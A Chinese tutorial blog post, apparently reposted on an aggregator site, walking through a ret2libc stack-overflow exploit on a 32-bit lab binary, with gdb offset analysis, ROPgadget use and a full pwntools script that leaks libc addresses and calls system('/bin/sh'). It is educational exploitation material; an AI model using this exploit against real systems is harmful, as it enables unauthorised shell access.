堆栈认知——栈溢出实例(ret2libc)

参考:栈溢出实例–笔记三(ret2libc)
地址:https://qingmu.blog.csdn.net/article/details/119481681

目录

  • 1、栈溢出含义及栈结构
  • 2、ret2libc基本思路
  • 3、实战
    • 3.1、二进制程序
    • 3.2、查看栈结构
    • 3.3、第一次栈溢出
    • 3.4、第二次栈溢出

1、栈溢出含义及栈结构

参考前面博文

2、ret2libc基本思路

在当一个程序开启了NX(栈不可执行)的时候,我们没办法去写shellcode,而且程序中也没有system函数供我们调用的时候,那此时我们该如何做呢?

首先,程序本身没有system,但是我们需要getshell,那么就必须要通过system才可以,那么程序中没有system,哪里有呢?毋庸置疑libc库中有system呀,此时我们就需要通过程序中的libc的函数来泄露libc中的system地址。从而执行system函数,并传递给system函数参数为“/bin/sh”,从而getshell。

思路说完了来实战一下吧。

3、实战

3.1、二进制程序

在这里插入图片描述
我们使用IDA查看一下汇编代码:
在这里插入图片描述
反编译成C语言看一下:

在这里插入图片描述
此时程序中有gets函数,并且s的长度未做限制,那么gets函数就是溢出点,通过gets来进行栈溢出。其中还有puts函数,我们就可通过gets函数来泄露libc中的system函数地址,用puts函数将其打印出来。

注意:在泄露的时候我们需要通过gets函数的got表地址加偏移来泄露got表中的system函数地址,具体含义可百度一下,这里不过过深的说明。

3.2、查看栈结构

接下来我们就是用gdb查看一下栈结构:
在这里插入图片描述
在这里插入图片描述
此时我们eax(gets函数第一个参数地址)的地址为:0xffffd3fc
ebp地址为:0xffffd468
ret-address的地址为:0xffffd46c

所以我们想覆盖到ebp(不包含ebp)的话就需要:0xffffd468-0xffffd3fc=0x6c 长度的字符串 ,覆盖ebp的话就得在家0x4个字节,此时就到了ret-address的地址了,到这这里我们需要返回到哪呢?

正如上面所说我们需要通过gets函数来泄露got表中system地址。

到此我们并不能getshell,我们还需要在来一次栈溢出从而执行system来获取getshell,那么如何再来一次栈溢出呢?

我们可以在执行完puts函数后让其执行main函数,那么程序又会执行gets函数了,那么我们就可以在做一次栈溢出啦。

3.3、第一次栈溢出

第一次栈溢出我们需要泄露libc中的gets函数的地址,其第一次操作时候我们所希望的栈结构如下:

在这里插入图片描述
如何查找一个程序的rop链呢?

ROPgadget  --binary ret2libc3 --only "pop|ret"

工具:ROPgadget

参数含义
–binary二进制程序
–only正则匹配

在这里插入图片描述
在这里我们使用的是pop ebp ; ret。部分Python代码如下:

puts_addr = elf.plt["puts"]   #获取pust函数的plt地址
gets_got  = elf.got["gets"]   #获取gets函数的libc地址
pop_ebp_ret = 0x080486ff      #rop链地址
main_addr = elf.symbols["main"]  #main函数地址
payload = 'a'*0x6c + "junk" +p32(puts_addr) + p32(pop_ebp_ret) + p32(gets_got) + p32(main_addr) #payload
p.sendlineafter("Can you find it !?",payload) #在打印Can you find it !?之后注入payload
gets_addr = u32(p.recv(4))  #接收gets函数的libc地址

到此时我们就到了gets函数的libc中的地址,那么接下来我们就要获取system函数在libc中的地址。

现在有了gets函数的libc地址,我们需要先获取libc库的基地址,在获取system函数地址。

libc库的基地址如何获取呢?
我们就用获取到的gets函数的libc地址减去其偏移就可以啦。

具体Python代码如下:

libc.address = gets_addr - libc.symbols["gets"]  #  获取libc的基地址
system_addr = libc.symbols["system"]             #  得到system函数的libc地址

那么我们的准备工作就做完了,就可以开始第二次的栈溢出来获取getshell啦。

3.4、第二次栈溢出

此时我们已经拿到了system函数的libc地址,我们只需要执行system函数,并给他传入参数“/bin/sh”
就可以getshell啦。

如何传入参数“/bin/sh”呢?

我们可在栈溢出的时候,再让其执行gets函数,给其输入一个“/bin/sh”就好啦,值得注意的是:我们输入的“/bin/sh”需要放到bss段中的一个地址上去,因为这个不会随着函数的栈被覆盖或回收等机制导致我们找不到“/bin/sh”的地址了。

bss_addr = 0x0804A080        #程序中一个bss段地址
gets_addr= elf.plt["gets"]   #程序中gets函数地址
payload2= 'a'*0x6c + "junk" + p32(gets_addr) + p32(system_addr) + p32(bss_addr)+p32(bss_addr)
p.sendlineafter("Can you find it !?",payload2)
p.sendline("/bin/sh")    # 输入一个“/bin/sh”

此时我们分析已经完成了,来康康结果吧:

在这里插入图片描述

此时我们已经getshell啦,大功告成 respect。

完整的Python脚本如下:

from pwn import *
import sys#context.log_level="debug"
context.arch = "i386"
#context.terminal = ["tmux","splitw","-h"]if len(sys.argv)<2:debug =True
else:debug=Falseif debug:p=process("./ret2libc3")elf=ELF("./ret2libc3")libc=ELF("/lib/i386-linux-gnu/libc-2.27.so")
else:p=remote("x.x.x.x")elf=ELF("./ret2libc3")libc=ELF("/lib/i386-linux-gnu/libc-2.27.so")def debugf():gdb.attach(p,"b * 0x08048641")puts_addr = elf.plt["puts"]
gets_got  = elf.got["gets"]
pop_ebp_ret = 0x080486ff
main_addr = elf.symbols["main"]
payload = 'a'*0x6c + "junk" +p32(puts_addr) + p32(pop_ebp_ret) + p32(gets_got) + p32(main_addr)
p.sendlineafter("Can you find it !?",payload)
gets_addr = u32(p.recv(4))
log.success("gets addr:"+ hex(gets_addr))
libc.address = gets_addr - libc.symbols["gets"]
log.success("libc addr:"+ hex(libc.address))
system_addr = libc.symbols["system"]bss_addr = 0x0804A080
gets_addr= elf.plt["gets"]
payload2= 'a'*0x6c + "junk" + p32(gets_addr) + p32(system_addr) + p32(bss_addr)+p32(bss_addr)
p.sendlineafter("Can you find it !?",payload2)
p.sendline("/bin/sh")
p.interactive()

关键性的注释上面都已经注释过啦。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/264780.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

halcon 单通道图像转成3通道_halcon图像处理基本运算

halcon图像处理基本运算图像处理最基本的操作包括颜色空间转换&#xff0c;各种代数运算&#xff0c;放射变换等。通过熟悉这些常见的操作&#xff0c;可以对图像有基本的认识&#xff0c;尤其是对刚开始接触视觉图像处理的人而言&#xff0c;熟悉这些操作&#xff0c;可以快速…

ASP.NET MVC学前篇之Ninject的初步了解

ASP.NET MVC学前篇之Ninject的初步了解1.介绍废话几句&#xff0c;Ninject是一种轻量级的、基础.NET的一个开源IoC框架&#xff0c;在对于MVC框架的学习中会用到IoC框架的&#xff0c;因为这种IoC开源框架有很多&#xff0c;本篇的主题只有一个&#xff0c;就是让阅读过本篇幅的…

技术术语积累

目录ASCII码表ASCII打印字符ASCII非打印控制字符ASCII扩展打印字符C语言基本数据类型整型变量整型常量实数&#xff08;浮点&#xff09;类型实型&#xff08;浮点&#xff09;常量字符变量字符常量C语言中printf打印形式%2d&#xff0c;%-2d&#xff0c;%.2d&#xff0c;%02d&…

下滑加载更多js_专治:卫生间免砸砖,房顶漏水,JS堵漏王水不漏,厂家三包产品,免费成熟配方(点开看更多)...

免砸砖JS-堵漏王水不漏白色粉状&#xff0c;加水溶解后即为JS堵漏王水不漏。防水液&#xff0c;为无色透明液体&#xff0c;不燃、不爆、不腐蚀。本产品是新型多功能纳米水溶性防水剂。具有超强的渗透后微膨胀结晶功能&#xff0c;能充分填补填满物体毛细管&#xff0c;从而达到…

linux设置开机自启动

一.、在/etc/rc.local文件中添加自启动命令 执行命令&#xff1a; 编辑"/etc/rc.local"&#xff0c;添加你想开机运行的命令 运行程序脚本&#xff1a;然后在文件最后一行添加要执行程序的全路径。 例如&#xff0c;每次开机时要执行一个hello.sh&#xff0c;这个脚本…

JavaScript 初学者应知的 24 条最佳实践

原文&#xff1a;24 JavaScript Best Practices for Beginners &#xff08;注&#xff1a;阅读原文的时候没有注意发布日期&#xff0c;觉得不错就翻译了&#xff0c;翻译到 JSON.parse 那一节觉得有点不对路才发现是 2009 年发布的文章&#xff0c;不过还是不错的啦。另外&am…

正点原子FreeRTOS(下)

更多干货推荐可以去牛客网看看&#xff0c;他们现在的IT题库内容很丰富&#xff0c;属于国内做的很好的了&#xff0c;而且是课程刷题面经求职讨论区分享&#xff0c;一站式求职学习网站&#xff0c;最最最重要的里面的资源全部免费&#xff01;&#xff01;&#xff01;点击进…

Solaris 下 Oracle impdp 过程中出现的问题

ORA-39002: invalid operationORA-39070: Unable to open the log file.ORA-29283: invalid file operationORA-06512: at "SYS.UTL_FILE", line 475ORA-29283: invalid file operation解决方法参考1&#xff1a;今天在使用IMPDP完成数据导入的过程中遇到“ORA-39002…

正点原子FreeRTOS(中)

更多干货推荐可以去牛客网看看&#xff0c;他们现在的IT题库内容很丰富&#xff0c;属于国内做的很好的了&#xff0c;而且是课程刷题面经求职讨论区分享&#xff0c;一站式求职学习网站&#xff0c;最最最重要的里面的资源全部免费&#xff01;&#xff01;&#xff01;点击进…

Android应用开发中的风格和主题(style,themes)

越来越多互联网企业都在Android平台上部署其客户端&#xff0c;为了提升用户体验&#xff0c;这些客户端都做得布局合理而且美观.......Android的Style设计就是提升用户体验的关键之一。Android上的Style分为了两个方面&#xff1a; Theme是针对窗体级别的&#xff0c;改变窗体…

windows上安装mysql5.7.24

平时自己做测试的时候&#xff0c;自己安装一个mysql还是很有必要的&#xff0c;网上教程很多&#xff0c;但是自己操作过程中还是遇到了一些问题&#xff0c;这里记录一下安装过程。 一、下载mysql https://downloads.mysql.com/archives/community/ 我使用的是5.7.24的解压版…

gb酱油和gbt酱油哪个好_都是酱油,生抽好还是味极鲜好?老板:两者差别很大,别买错了...

导读&#xff1a;都是酱油&#xff0c;生抽好还是味极鲜好&#xff1f;老板&#xff1a;两者差别很大&#xff0c;别买错了一道美食的完成不只是依赖掌厨的高超技艺&#xff0c;还与炒制的锅具、所用的调料等有关。其中最重要的就是调料&#xff0c;有了调料的辅助&#xff0c;…

数字万用表的使用

参考&#xff1a;连3岁小孩子都能看懂的万用表使用方法 地址&#xff1a;https://www.bilibili.com/video/BV1Gx411z7x2?p1&vd_sourcecc0e43b449de7e8663ca1f89dd5fea7d 目录万用表外观测量电阻测量通断/二极管测量电容测量温度测量电流测量电压测量三极管万用表外观 测量…

在GridView开头插入自动编号的方法

网上看了很多方法&#xff0c;发现都是照抄别人&#xff0c;而且&#xff0c;都是把第一列替换掉了&#xff0c;往往不是我们的理想结果。经过本人的实践&#xff0c;下面方法觉得更好用一些。就是不知道数据量过大时&#xff0c;效率怎么样&#xff0c;不过既然能用&#xff0…

Zookeeper:fsync超时导致实例异常

一、问题描述 2019-02-19 08:44左右&#xff0c;实时计算服务重启&#xff0c;报错显示找不到zk集群的leader节点&#xff0c;同时ZooKeeper集群有告警显示连接超时&#xff1a; 指标[连接耗时(ms)18221]符合告警规则[连接耗时(ms)>3000] 二、排查过程 查看当前集群状态&…

断言(assert)的用法

参考&#xff1a;https://www.runoob.com/w3cnote/c-assert.html 目录作用总结与注意事项Demo作用 assert 是个宏&#xff0c;并且作用并非"报错"。 assert() 的用法像是一种"契约式编程"&#xff0c;程序满足我的假设条件&#xff0c;才能正常良好的运作…

马云语录,非常值得一看(转)

来源:计算机网1999至今 在杭州设立研究开发中心&#xff0c;以香港为总部&#xff0c;创办阿里巴巴网站(Alibaba.com) 孙正义跟我有同一个观点&#xff0c;一个方案是一流的Idea加三流的实施&#xff1b;另外一个方案&#xff0c;一流的实施&#xff0c;三流的Idea&#xff0c;…

centos7 docker安装和使用_入门教程

centos7 docker安装和使用_入门教程 原文:centos7 docker安装和使用_入门教程说明&#xff1a;本文也是参考互联网上的文章写的&#xff0c;感谢相关作者的贡献。 操作系统 64位CentOS Linux release 7.2.1511 (Core) 配置好IP&#xff1a;192.168.1.160 修改yum源 目的是提升对…

C语言中字符串和字符数组的区别

参考&#xff1a;C语言中字符串和字符数组的区别 参考&#xff1a;字符数组和字符串的区别&#xff0c;C语言字符数组和字符串区别详解 这里写目录标题区别代码分析一代码分析二总结区别 &#xff08;1&#xff09;C语言中&#xff0c;没有字符串类型但可以用字符数组模拟字符…

spring in action 读书笔记

IOC 1.几个主要使用的application context. ClassPathXmlApplicationContext 从ClassPath路径加载 FileSystemXmlApplicationContext 从文件系统路径加载XmlWebApplicationContext 配置文件黑夜在/WEB-INF/applicationContext.xml&#xff0c;也可以使用setConfigLocation…